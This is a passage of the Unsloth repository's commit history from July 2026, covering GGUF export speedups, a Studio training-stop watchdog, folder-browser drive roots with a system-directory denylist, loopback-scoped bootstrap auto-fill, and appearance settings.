_config_model_types returned a cached latest mapping without re-checking the
sidecar, so a sidecar deleted or broken in-process after its first parse was
never re-validated: routing kept sending latest-only models to the stale latest
tier while activation failed. The cached latest mapping is now dropped and
re-resolved (self-healing) when the sidecar is no longer intact.

* Drop cached latest mapping when the pin is gone; keep 4-bit for custom-code fallback

_latest_sidecar_intact now returns False when the pin marker itself is gone, not
just when a pinned package is missing. Otherwise a cached latest mapping outlived
a deleted pin: _config_model_types kept returning it, so routing sent latest-only
models to a tier whose worker activation then failed (no pinned version) until
restart. It now drops the cache and re-resolves to no latest tier. The
_overlay_transformers_dir caller already gates on a present pin, so it is
unaffected.

validate_model forced 16-bit sizing whenever a PyPI upgrade was merely offered,
even for a model that can fall back to its own auto_map code. /load loads such a
model 4-bit without the install, and the install route refuses while training is
active, so 16-bit sizing here returned a VRAM 409 for the only viable 4-bit path.
The offered-upgrade flip is now gated on the absence of a custom-code fallback;
an already-active latest sidecar still always sizes 16-bit.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-15 05:25:26 -07:00
dylanschroers
8cfd1a2173
fix: single-pass GGUF export for directly convertible outtypes in save.py (#7090)
* Single-pass GGUF export for direct outtypes + parallel multi-quant

save_to_gguf defaulted first_conversion to model_dtype before the block
that picks the optimal base conversion, leaving that block dead since it
landed (#3356). Every default export (fast_quantized -> q8_0) therefore
ran two passes: convert HF -> 16-bit GGUF, then llama-quantize -> q8_0,
writing a 2x-size intermediate that the cleanup step deletes again.

- Route single-output exports whose type convert_hf_to_gguf.py emits
  directly (f32/f16/bf16/q8_0) through one conversion pass with no
  16-bit intermediate. Measured on Qwen2.5-0.5B-Instruct (8-core CPU):
  bytes written 1525 MB -> 531 MB (2.9x less), peak extra disk 994 MB
  -> 0, wall time neutral on local NVMe (14.8s vs 15.4s). The dequantized
  q8_0 tensors are bit-identical to the two-pass output (max diff 0 over
  all 290 tensors, same quant-type table). On disk-capped runtimes
  (Kaggle 20 GB, Colab) the removed intermediate is the difference
  between an export that fits and one that dies - see the Kaggle error
  text this file already carries. imatrix runs keep the two-pass route
  since only llama-quantize can apply one; explicit first_conversion is
  still honored.

- Run independent llama-quantize passes two at a time when several
  quant methods are requested (thread budget split between workers,
  outputs byte-identical, order preserved). Measured 1.38x wall-clock
  on q4_k_m+q5_k_m+q6_k. Sequential under UNSLOTH_ENABLE_LOGGING=1 to
  keep subprocess logs readable; kill switch
  UNSLOTH_PARALLEL_GGUF_QUANTS=0. Duplicate methods now quantize once.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Guard parallel GGUF quant on Kaggle and make multi-quant failures atomic

Each llama-quantize pass loads the whole model into RAM, so running two at once on Kaggle can OOM a host that succeeded sequentially; skip the parallel path there. On a failed multi-quant export, stop launching queued passes and remove orphaned quant outputs so a failure leaves no partial GGUFs behind, keeping the 16-bit base for retry. Also accept 0/false/no/off/empty for UNSLOTH_PARALLEL_GGUF_QUANTS so a well-meant 'false' actually disables parallelism, and add tests/saving/test_gguf_single_pass_export.py to the CI saving bucket so the new tests run.

* Preserve pre-existing outputs for canceled quant passes on failure

The parallel cleanup unlinked every requested output name, so a failed rerun could delete a valid model.<METHOD>.gguf left by an earlier successful export for a method whose pass was canceled and never ran this session. Skip canceled futures and only remove outputs from passes that actually executed.

* Gate parallel GGUF quant on available memory and preserve prior outputs

Skip the two-worker path when RAM cannot hold two full-model quantizations at once (and on Colab as well as Kaggle), so a multi-quant export that fit sequentially no longer OOMs. On failure, remove only outputs this run newly created, tracked against a pre-launch snapshot, so a rerun into an existing _gguf directory never deletes a valid artifact from an earlier export.

---------

Co-authored-by: djs <dschroers2@gmail.com>
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
2026-07-15 05:25:03 -07:00
oobabooga
d8094335b7
Studio: scope the seeded bootstrap password auto-fill to loopback clients (#7131)
* Studio: scope the seeded bootstrap password auto-fill to loopback clients

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: block bootstrap injection through Cloudflare tunnels

* Studio: require loopback host for bootstrap injection

* Studio: add regression test for unparseable Host in bootstrap loopback gate

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Scope bootstrap auto-fill to a direct-loopback client (block proxy/tunnel headers and malformed Host)

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Reject scope-id addresses in loopback check (fail closed on ::1%zone Host)

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Reject malformed bracketed Host in loopback check (e.g. [::1]evil)

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: danielhanchen <23090290+danielhanchen@users.noreply.github.com>
2026-07-15 05:19:37 -07:00
Hyacinth-of-Security
ee73bcb209
Fix bare except clauses and remove duplicate MAX_FUSED_SIZE definition (#7138)
* fix: replace bare except clauses and remove duplicate MAX_FUSED_SIZE definition

* Also catch NameError in mllama RMSNorm patch/unpatch fallbacks

If mllama exists but MllamaTextRMSNorm is missing, the module-level import
fails so Unsloth_MllamaTextRMSNorm/MllamaTextRMSNorm stay undefined. The
patch/unpatch module imports then succeed and reference the undefined name,
raising NameError. Add NameError so these fallbacks stay no-ops as before.

---------

Co-authored-by: lxcxjxhx <lxcxjxhx@users.noreply.github.com>
Co-authored-by: Daniel Han <23090290+danielhanchen@users.noreply.github.com>
2026-07-15 04:39:38 -07:00
Kushida
3eb3259f04
fix(install): fail non-tauri installer errors (#7123) 2026-07-15 04:37:03 -07:00
Long Yixing
14d0e853fa
fix(studio): recover MLX VLM image prompts (#7094)
* fix(studio): recover mlx vlm image prompts

* fix(studio): detect serialized vlm media items

* studio: recover MLX VLM prompts when model_type only lives on _config

_mlx_vlm_model_config only fell back to _config when config was entirely
missing, so a model that exposes a config without a model_type (while _config
carries it) skipped model-aware recovery. Prefer whichever of config / _config
actually has a model_type. Adds a focused test.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-15 03:09:45 -07:00
Daniel Han
4beb0a3a5f
Studio: force-terminate a stuck training stop after a grace period (#7099)
* Studio: force-terminate a stuck training stop after a grace period

A Stop-with-save only signals the worker and waits for it to save and exit;
force_terminate() was reachable only from the /reset cancel path. On Windows +
ROCm the worker saves the adapter fine but then wedges in post-save GPU/HIP
teardown and never exits, so the run stays in "Stopping..." forever, is_training
stays true, and /reset returns 409.

Add a stop watchdog: when a stop is requested, a daemon escalates to
force_terminate() a short grace after the worker's "complete" (save done), or
after an absolute cap covering a hang during save. After escalation the parent
state is finalized (is_training=False, "Training stopped.") even if the OS never
reaps the wedged worker, so the UI leaves "Stopping..." and a new run can start.
No behavior change on a clean quick exit. Grace and timeout are configurable via
UNSLOTH_STUDIO_TRAINING_STOP_GRACE_S (15) and
UNSLOTH_STUDIO_TRAINING_STOP_TIMEOUT_S (120).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: harden the training stop watchdog per review

Address review feedback so a stop can never corrupt a checkpoint or leave the
run stuck:

- Never force-kill an in-progress save. The absolute cap is now a last-resort
  backstop: raise the save default to 600s and only kill past that long window;
  a not-yet-complete save is not treated as a hang. Cancels have nothing to save,
  so they keep a shorter 120s cap via UNSLOTH_STUDIO_TRAINING_CANCEL_TIMEOUT_S.
  The save vs cancel path is now explicit and the backstop logs a clear warning.
- Always finalize even if force_terminate raises on a wedged child (try/finally),
  so the watchdog never dies leaving the run in "Stopping...".
- Preserve output_dir when the watchdog finalizes so a saved checkpoint is still
  recorded in run history.
- Track the watched process per watchdog: a new run always gets its own watcher,
  and a stale watchdog on an old proc no longer suppresses it.
- Terminate only the captured proc; force_terminate revalidates under the lock
  that it is still the current worker, so it can never kill a fresh run.
- Name the watchdog thread for debuggability.

* studio: tighten training-stop watchdog comments

Comment-only pass: collapse the watchdog docstrings and inline notes to fewer
lines while keeping the rationale. No behavior change.

* Studio: make the stop watchdog safe against concurrent runs and the pump

Target-scope the escalation finalize so a stale watchdog can never clobber a
run that replaced its worker: capture the watched proc and job id, and no-op
the finalize (handle, progress, and DB) when a new run has already taken over.
Honor a later cancel by tightening an in-flight save watchdog to the shorter
cancel cap. Serialize the DB helpers on the lock so the watchdog and pump can
no longer double-create, double-finalize, or corrupt the metric buffer when a
force-terminate hands off to a still-finalizing pump.

Add regression tests: finalize no-ops when superseded, finalize runs for its
own worker, a later cancel tightens the cap, finalize is single-winner under
concurrency, finalize honors expected_job_id, and concurrent flushes claim
each metric exactly once.

* Studio: close the remaining stop-watchdog vs start/pump races

Guard the escalation finalize by the watched job id in addition to the proc:
start_training sets current_job_id before it installs the new _proc, so a stale
watchdog entering during that startup window still sees the old dead handle and
was not caught by the proc-only guard. Capture the job id when the watchdog
starts and require it to still match before touching state.

Snapshot the run id and final progress under the finalize lock and thread them
through the flush and finish_run calls, so a new run that starts between the
finalize claim and the DB writes cannot be flushed or marked stopped under the
old run's finalizer.

Publish _db_run_created only after create_run commits, gated by a dedicated
in-progress flag, so a concurrent finalize can no longer run finish_run against
a not-yet-inserted row and leave the run stuck as running.

Add regression tests for the startup-window job-id guard, run-id pinned flush,
snapshot-based finalize across a new run, and create-not-published-before-insert.

* Studio: finalize a force-stopped run by its captured id

If a new run starts in the gap after the watchdog clears _proc and marks the
backend idle, current_job_id changes, so the previous expected_job_id guard made
the finalize skip and left the stopped run recorded as running. Capture the run
id, metrics, and final progress under the lock (where current_job_id is still the
watched run) and finalize by that captured id via _finish_stopped_run: finish_run
is an idempotent UPDATE and insert_metrics_batch upserts, so a concurrent pump
finalize of the same run is harmless and a newly started run is never touched.

Add a test that the watched run is finalized by id with its buffered metrics, and
update the escalation tests to assert finalize goes through _finish_stopped_run.

* Studio: keep force-stop finalization retryable and unclaimed until the row exists

Only claim _run_finalized in the escalation when the DB row already exists; if an
early create failed and the pump is retrying it, claiming would make the pump's
later finalize no-op and strand the row as running, so leave the finalize to that
create-then-finalize path.

On a DB error in _finish_stopped_run (e.g. a transient SQLite lock), unclaim the
finalize and requeue the drained metrics when the run is still current, so the
pump or a later retry can still record the run stopped instead of leaving history
with an active run and lost metrics. A superseded run's state is never touched.

Add tests: no claim before the row exists, requeue+unclaim on a DB error, and a
superseded run left untouched on error.

* Studio: tighten stop-watchdog comments

Reduce the wording of the docstrings and inline comments added by this PR without
dropping any of the concurrency invariants (dual proc/job-id supersession guard,
finalize-by-captured-id, publish-after-commit, snapshot-under-lock, unclaim and
requeue on error). Comments and docstrings only; no code change.

* Studio: record the stopped run's DB state before dropping _proc

A wedged worker still reports alive, so the pump never reaches its own finalize
and bails on its _proc-is-None guard once the escalation drops the handle. So the
watchdog is the sole finalizer: record the terminal DB state (create the row if a
start-time create failed, then finish by captured id) BEFORE dropping _proc. While
the handle is held is_training_active() stays true, so no new run can start and
current_job_id stays the watched run for the write; _proc is dropped last, guarded
on target_proc so a run that did replace the worker keeps its handle.

_finish_stopped_run retries a transient DB error a few times (the pump can no
longer retry once _proc is gone) and unclaims on final failure only when the run
is still current. Add tests for create-then-finalize, retry-then-unclaim, and not
dropping a new run's handle.

* Studio: job-guard the DB create flags against a racing new run

_ensure_db_run_created publishes backend-wide _db_run_created and
_db_create_in_progress flags. When the watchdog creates a missing row for an
escalated stop, the killed worker lets a new /start proceed mid-create, so the
stale create could publish those flags against the new current_job_id, making the
new run skip inserting its own row (metric/finalize then target a missing run).
Publish the flags only when the captured job id is still current; the row is still
created by id, and the new run owns/creates its own. Also reset
_db_create_in_progress in start_training so a stale claim can't block a new run.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-15 02:46:55 -07:00
Daniel Han
67339b15fd
Studio CI: make tool-calling SSE probes resilient to transport stalls (#7137)
* Studio CI: make tool-calling SSE probes resilient to transport stalls

* Studio CI: bound tool-probe SSE stalls to the job timeout and stop accepting partial tool events

* Studio CI: surface HTTP errors from the seed loop and bound the Mac best-effort probes

* Studio CI: keep completed tool results on a stall and cap seed reads by the remaining budget
2026-07-15 02:45:05 -07:00
Gaurav Dubey
dc65638b7d
Studio: expose Windows drive roots in the folder browser (#7082)
* Studio: expose Windows drive roots in the folder browser

The model-selection folder browser bounds navigation to the roots returned
by _build_browse_allowlist(), which exposed Linux removable-media mounts via
linux_run_media_mount_roots() but had no Windows analog. As a result a user
on C: could not browse to D:/E: to pick a model directory.

Add windows_drive_roots(), a Windows-only companion to
linux_run_media_mount_roots() that lists readable logical drive roots, and
wire it into both browse-allowlist builders and their suggestion chips so
other drives are both navigable and offered as quick-picks. The helper is a
no-op on Linux/macOS, so existing platforms are unaffected.

Closes #6368

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: cover the Windows drive-root browse wiring with an integration test

Add an allowlist integration test mirroring the Linux side's
test_legacy_browse_allowlist_includes_linux_run_media_mounts: it extracts
_build_browse_allowlist from routes/models.py, stubs external_media so
windows_drive_roots() yields a fake drive root, and asserts that root becomes
browsable through the built allowlist. Proves the wiring, not just the helper.

* Studio: skip inactive drives via GetLogicalDrives before probing

Resolve active logical drives from GetLogicalDrives() before probing each
letter with os.path.isdir. Probing a drive letter mapped to a disconnected
network share can otherwise block the async backend for tens of seconds per
letter. The call degrades gracefully (falls back to probing all letters) when
ctypes/windll is unavailable, so behavior is unchanged on Linux/macOS. Tests
override the bitmask source to stay deterministic on real Windows hosts.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: allow browsing descendants of a drive-root allowlist entry

routes/models.py _is_path_inside_allowlist() checked descendants with
startswith(root_real + os.sep). A drive root ("D:\") already ends in a
separator, so the prefix became "D:\\" and a child like "D:\models" was
rejected with 403 after the browser opened the drive root. Only append a
separator when the root does not already end in one. folder_browser.py already
uses commonpath and was unaffected. Adds a regression test covering the
separator-terminated-root descendant case.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: enforce the system-directory denylist during folder browsing

Exposing whole Windows drive roots (and any legacy-registered filesystem root)
widened the browse allowlist above system directories, but the browse
resolvers only re-applied the credential/config denylist, not the
_denied_path_prefixes() system-dir denylist that scan-folder registration
enforces. That let browse-folders enumerate C:\Windows, C:\Program Files,
/etc and /proc.

- Add is_denied_system_path() to both storage modules and enforce it in both
  browse resolvers (legacy routes/models.py and hub folder_browser.py), on each
  resolved child and on the final target, keeping the /run/media carve-out.
- Rework the legacy _is_path_inside_allowlist to use splitdrive + commonpath so
  a Windows drive root authorizes its descendants while a bare POSIX / does not,
  and to compare case-insensitively like the hub browser.
- Reject the filesystem root in the legacy add_scan_folder, matching the hub.
- Hide denied system dirs from browse listings and suggestion chips.
- Add tests/test_browse_denylist.py and update the external-media path tests.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: make browse-denylist tests OS-portable

The browse-time denylist tests used real /etc and tmp_path locations; on macOS
tmp lives under the (legitimately denied) /private/var and /etc resolves to
/private/etc, so three tests failed there. Pin the platform / use a tmp-based
denied prefix so they assert the same behavior on Linux, macOS and Windows.

* Studio: apply the bare POSIX-root guard to the hub folder browser too

The _is_path_inside_allowlist guard that stops a legacy-registered '/' scan
folder from authorizing every absolute path lived only in the legacy browser.
The hub browser used commonpath without it, so a stale '/' row let it descend
into /var, /root, /home -- which the system-directory denylist (/proc /sys /dev
/etc /boot /run) does not cover, while the legacy browser blocked them. Mirror
the legacy guard so both browsers treat '/' identically.

Also resolve each directory entry before the denylist check in both listing
loops, so a symlink or junction pointing into a denied dir is hidden instead of
rendered as a row that 403s on descent. Adds legacy-vs-hub parity tests.

* Studio: bound Windows drive probing so a disconnected mapping can't stall the browser

GetLogicalDrives includes mapped network drives, so a disconnected but still
mapped drive (e.g. Z: -> \\nas\share) stays set in the bitmask and reaches
os.path.isdir, which can block for tens of seconds while Windows tries to
reconnect. Because windows_drive_roots() runs synchronously while building both
folder-browser responses, one stale mapping stalled every browse request.

Probe each surviving drive in a daemon thread bounded by a short timeout and
skip it if it does not answer in time, so a hung mapping is dropped instead of
blocking the caller. Connected drives (local or network) still respond well
within the timeout, so drive discovery is unchanged. Corrects the
GetLogicalDrives docstring, which claimed the bitmask alone prevented the stall.

* Studio: probe drive/media roots once per browse request, not twice

Both folder browsers called windows_drive_roots() (and
linux_run_media_mount_roots()) twice per browse request: once to seed the
allowlist in _build_browse_allowlist() and again to build the suggestion chips.
With the bounded drive probe, a disconnected mapped network drive then paid the
timeout twice per folder click. Probe both once in the request handler and pass
the results into _build_browse_allowlist(), reusing them for the chips, in both
the legacy and hub browsers. Adds a test asserting the roots are reused, not
re-probed.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: run the legacy browse endpoint in the threadpool, fix its stale test

Two follow-ups from review of the drive-probe changes:

- browse_folders was 'async def' but does only blocking filesystem I/O (the
  timeout-bounded drive probe, iterdir, realpath). On the event loop a
  disconnected mapped drive waiting out its probe timeout stalled every other
  request. Declare it sync 'def' so FastAPI runs it in the threadpool, matching
  the hub browse endpoint. No await was used in the body.

- test_browse_folders_hides_sensitive_dirs monkeypatched _build_browse_allowlist
  with a zero-arg lambda; the once-per-request refactor now calls it with
  (media_roots, drive_roots), so the lambda raised TypeError. Accept and ignore
  the args.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: probe Windows drive roots concurrently so multiple dead mappings don't stack timeouts

windows_drive_roots() probed each candidate serially, so N disconnected-but-mapped network drives each paid the full per-drive timeout in turn (e.g. four stale mappings added ~8s to every folder-browser request). Collect the candidate roots first, then probe them all at once under a single overall deadline, so the added delay stays at ~one timeout regardless of how many drives are disconnected. _readable_dir_within stays as a thin single-path wrapper for its existing callers/tests.

* Studio: tighten comments in the folder-browser drive-root changes

Condense the comments and docstrings added by the Windows drive-root and
system-directory denylist work to be shorter and clearer while keeping the
security and correctness rationale intact. Comment and docstring text only;
no code changes.

* Studio: iterate the input, not the results dict, when collecting readable drive probes

_readable_dirs_within returned {path for path, ok in results.items()...}, but a probe thread that exceeded the join deadline is still alive and can insert its key into results during that iteration, raising 'dictionary changed size during iteration' -- reachable exactly in the disconnected-mapped-drive case the probe exists for. Iterate the fixed input list and read results.get(path) (an atomic read) instead.

* Studio: keep the browse-route containment tests denylist-inert so they pass on macOS

test_browse_folders_route.py exercises allowlist containment and the file-vs-directory guard, not the system-directory denylist. On macOS pytest tmp_path resolves under /private/var, a denied prefix, so _resolve_browse_target 403s the fixture dirs before the containment logic runs (4 failures). Add an autouse fixture that makes is_denied_system_path inert in this file; the denylist keeps its own coverage in test_browse_denylist.py.

* Studio: keep the hub browse tests denylist-inert so they pass on macOS

* Studio: register a UNC share root; only reject local filesystem roots

* Studio: reject device drive roots and browse a registered UNC share root

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: treat device-namespace volume GUID roots as local filesystem roots

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
2026-07-15 00:24:11 -07:00
Anas Khan
f9aa818ca8
fix: name unsloth_vllm_standby parameter in vLLM standby error (#7089)
* fix: name unsloth_vllm_standby parameter in vLLM standby error

FastBaseModel.from_pretrained's vLLM-standby guard raised
"UNSLOTH_VLLM_STANDBY is True, but UNSLOTH_VLLM_STANDBY is not set to 1",
naming the environment variable in both clauses. The value that is True is
the unsloth_vllm_standby parameter, not the env var, so the message was
self-contradictory. Name the parameter in the first clause, matching the
sibling guard in FastLlamaModel.from_pretrained.

Signed-off-by: Anas Khan <83116240+anxkhn@users.noreply.github.com>

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Remove vLLM standby error message test

---------

Signed-off-by: Anas Khan <83116240+anxkhn@users.noreply.github.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
2026-07-15 00:23:06 -07:00
Nilay
2b52da98cc
Fix Hub offline status (#7129)
Co-authored-by: Etherl <61019402+Etherll@users.noreply.github.com>
2026-07-15 04:35:38 +03:00
Anas Khan
387b2f28e3
fix(dataprep): guard smart_chunk_text against stride >= chunk_size (#7126)
RawTextDataLoader.smart_chunk_text takes chunk_size and stride as its own
arguments, so a direct call with stride >= chunk_size bypasses the
constructor validation. In that case `start_idx += chunk_size - stride` is
non-positive, so start_idx never advances past the first window and the
chunking loop never terminates (hangs).

Re-add the chunk_size/stride guard at the top of smart_chunk_text so direct
callers fail fast with a clear ValueError. The constructor keeps its own
guard for the internal callers (defense in depth). Add a regression test
that calls smart_chunk_text directly with stride == chunk_size and
stride > chunk_size and asserts it raises instead of hanging.

Signed-off-by: Anas Khan <83116240+anxkhn@users.noreply.github.com>
2026-07-15 04:33:54 +03:00
Anas Khan
3b235895bd
Fix DeepScaleR-1.5B mapper entry pointing its 16bit repo at DeepHermes-3-8B (#7088) 2026-07-14 17:56:12 -03:00
Nilay
bb80602174
Fix S3 tab flashing on reload (#7106)
* persist vision/audio model flags to fix S3 tab flash on reload

* persist modelType and reset capability flags on model switch
2026-07-14 06:47:24 -07:00
Gaurav Dubey
eb31d1e5ca
Studio: fix the permanent GGUF "update available" on no-symlink caches (#7113)
* Studio: fix the permanent GGUF "update available" on no-symlink caches

Without the symlink privilege (the default on Windows with Developer Mode
OFF), hf_hub_download MOVES the downloaded blob into snapshots/ instead of
symlinking it out of blobs/, so blobs/ is left empty and scan_cache_dir
reports blob_path = the snapshot file itself. Path(blob_path).name is then
the GGUF FILENAME, not the file's etag.

_repo_gguf_blob_map recorded that filename as the file's local blob hash, so
_variant_update_available_from_requirement's `remote_sha256 in local_set`
test could never match and every cached GGUF reported "update available"
forever. Re-downloading could not clear it: the same file is rewritten, still
with no blob.

Only treat Path(blob_path).name as a hash when the file really lives in the
cache's blobs/ dir; otherwise record a size identity so the file still appears
in the map (dropping it would make the update check read it as absent and
report the same phantom update). The comparison falls back to the remote
ExpectedFile.size only when the cached file carries no blob hash, so the
blob-hash path is unchanged wherever HF does produce blobs.

A remote requant that keeps the byte size identical is not detected in that
layout; re-hashing multi-GB GGUFs on the inventory hot path is the only
stricter option.

Fixes #7060

* Studio: match GGUF update checks by manifest sha256, closing the equal-size requant blind spot (#7060)

On a no-symlink cache (Windows without Developer Mode) blobs/ is empty, so the update check falls back to comparing byte size. A Studio download records each file's sha256 in its manifest, so feed that into the local identity set: the check can then match by hash and detect an equal-size requant. The size fallback now applies only when no real hash is present, so a manifest hash that differs is still reported as a genuine update. Adds regression tests.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Revert the manifest-sha256 identity merge; keep the size-identity fallback (#7060)

The download manifest is written before the transfer with the expected remote hashes, so it records download intent, not verified on-disk content, and completion is checked by size only. Merging those hashes into the local identity set could clear the update badge for an interrupted equal-size update that left the old bytes on disk. The accompanying all-size-identity gate also suppressed the size fallback whenever an older revision contributed a real blob hash, which re-showed a false update on mixed hash and size caches. Restoring the plain size-identity fallback keeps the fix without those regressions.

* Studio: don't delete no-symlink GGUFs during stale-variant reclaim (#7060)

On a no-symlink cache (Windows without Developer Mode) the downloaded file is moved into snapshots/ and scan_cache_dir reports its blob_path as that snapshot file, whose name is the filename, not an etag. reclaim_replaced_gguf_variant treated that name as a blob hash, which never matches the current hashes to keep, so it unlinked the freshly downloaded file. Only extract a deletable hash when the blob path is a real cache blob under the repo blobs directory, and keep any file we cannot identify; stale no-symlink revisions leak rather than risk removing the current file. Adds a regression test.

* Studio: anchor GGUF blob-hash detection to the repo cache blobs dir (#7060)

The inventory update check and the stale-variant reclaim both decide whether a scanned file is a real cache blob (name is the etag) or a moved no-symlink snapshot file (name is the filename). Both now share one _is_real_cache_blob helper that anchors to the repo cache blobs directory instead of matching any parent folder named blobs, so a repo that ships GGUFs under its own blobs subdir is no longer misread as the cache blob store. Threads repo_path through _repo_gguf_blob_map. Adds a regression test.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: tighten comments in the GGUF update-check helpers (#7060)

Post-review comment pass: shorten the internal blob-identity and size-fallback docstrings. Comments only, no behavior change.

---------

Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-14 06:45:46 -07:00
oobabooga
1e0d5ec6a9
Studio: pin llama.cpp update apply to the release the banner offered (#7112)
* Studio: pin llama.cpp update apply to the release the banner offered

* Document the pinned walk-back trade-off and cover win32

* Trim the pin comments

* Studio: verify a pinned llama.cpp update landed on the pinned release

The pin passes --published-release-tag so the installer resolves exactly the offered release. Also verify the result: if the post-install marker stays on the pinned repo but reports a different tag, the installer ignored the pin, so fail with a retryable error instead of a false success. A Vulkan/Intel host legitimately reroutes fork to upstream and drops the pin, so the check is scoped to the pinned repo.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-14 06:45:16 -07:00
Michael Han
bc23135996
Unsloth: appearance palettes, customization options, and control restyle (#7077)
* Unsloth: appearance palettes, customization options, and control restyle

Adds Standard, Classic, and Minimal color palettes to Appearance settings,
each adapting to light and dark mode. Classic is a neutral enterprise look
that reserves its blue accent for toggles, badges, and focus rings; Minimal
is strictly black, grey, and white.

Adds customization options scoped to the active mode: accent, background,
and foreground colors with an in-app color picker, UI and code fonts with a
searchable dropdown covering bundled, device, and imported fonts, font file
import, UI and code font sizes, contrast, pointer cursors, reduce motion,
font smoothing, and translucent sidebar. Settings persist through the
personalization API with backend validation and sync across devices.

Restyles core controls for a cleaner, flatter look in both modes: bordered
white input fields, fully rounded pills for single-row controls, no drop
shadows, simple straight-line chevrons replacing all rounded arrow icons,
and consistent hover tones in dropdown menus. Popovers now portal into the
open dialog so their lists scroll correctly inside modal dialogs.

Moves Language into General settings and Chat defaults into the Chat tab
above the Canvas section.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Unsloth: appearance follow-ups, font options, and settings search

Neutralizes focus and selection rings across all palettes so highlighted
elements, including typing boxes and the selected palette card, never take
the accent color. The custom accent no longer recolors rings.

Restyles the color controls as filled pills showing the hex value inside,
with text and border contrast picked from the color's luminance. Menus in
popovers now match the app's dropdown menus: rounded-lg corners, tighter
padding, accent hover rows, and a bordered search field. Popovers inside
modal dialogs are modal so their lists scroll with the wheel. Outline
buttons share the same dark fills as dropdown triggers.

Adds heading and chat font options next to the UI and code fonts, each
using the searchable font dropdown and persisting through the
personalization API. Removes the translucent sidebar option end to end.

Adds settings search: a search field at the top of the settings sidebar
that filters setting names across every tab, grouped by tab with icons,
and jumps to the tab on click.

* Unsloth: use the shared accent token for dark hover fills

The settings dialog nav, its close button, the model selector, and the
project switcher hovered with hardcoded blue tinted greys (#3a3d43,
#2d2e32) in dark mode while every menu and sidebar uses --accent. All
hover and active pill fills now use the accent token so dark hovers are
the same everywhere and adapt to the active palette.

* Unsloth: settings search polish and jump to matched setting

Widens the settings dialog to 880px and the sidebar column to 248px so
the search field has more room. The search pill aligns with the left
start of the Settings title, gets more spacing above and below, and its
icon and placeholder sit slightly further left.

Search results now jump to the exact setting: rows and sections expose
their label as a data attribute, and picking a result opens the tab,
scrolls the matched row into view, and flashes it briefly.

* Unsloth: settings search bar spans the full nav pill width

The search field now starts and ends at the same edges as the nav hover
pills instead of being inset to the title text.

* Unsloth: address review findings on motion, sync, and font limits

Reduce motion Off now opts back out of the OS reduced-motion preference
for CSS animations via a force-motion class that the media rules skip,
and forcing reduce motion On keeps the loader exceptions (spinners,
loading dots, progress bars) animating.

When the color scheme follows the system, the resolved mode is now part
of the theme store snapshot, so an OS scheme flip re-renders consumers
and reapplies per-mode custom colors instead of leaving stale inline
variables from the previous mode.

Imported fonts get an aggregate size cap (4.4M characters) on both the
frontend sanitizer and the backend model so the persisted store always
fits browser localStorage quotas, with a clear error toast when an
import would exceed it. Backend validation also tightens imported font
names (rejects CSS delimiter characters) and requires strict base64
font data URLs, matching the frontend patterns.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Unsloth: profile toggle to hide the sloth in the chat greeting

Adds a Show greeting sloth switch to Settings > Profile. The chat welcome
hides the mascot when it is off. The preference persists locally and
through the personalization API, with backend validation and tests, and
the row is reachable from settings search in all four locales.

* Unsloth: control restyle, dropdown scrolling, and palette consistency

Settings sidebar puts search on top with the tab list under a small
Settings label. Combobox popups scroll with the wheel inside dialogs by
falling back to manual list scrolling while a dialog scroll lock is
active, and the local model selector popover became modal for the same
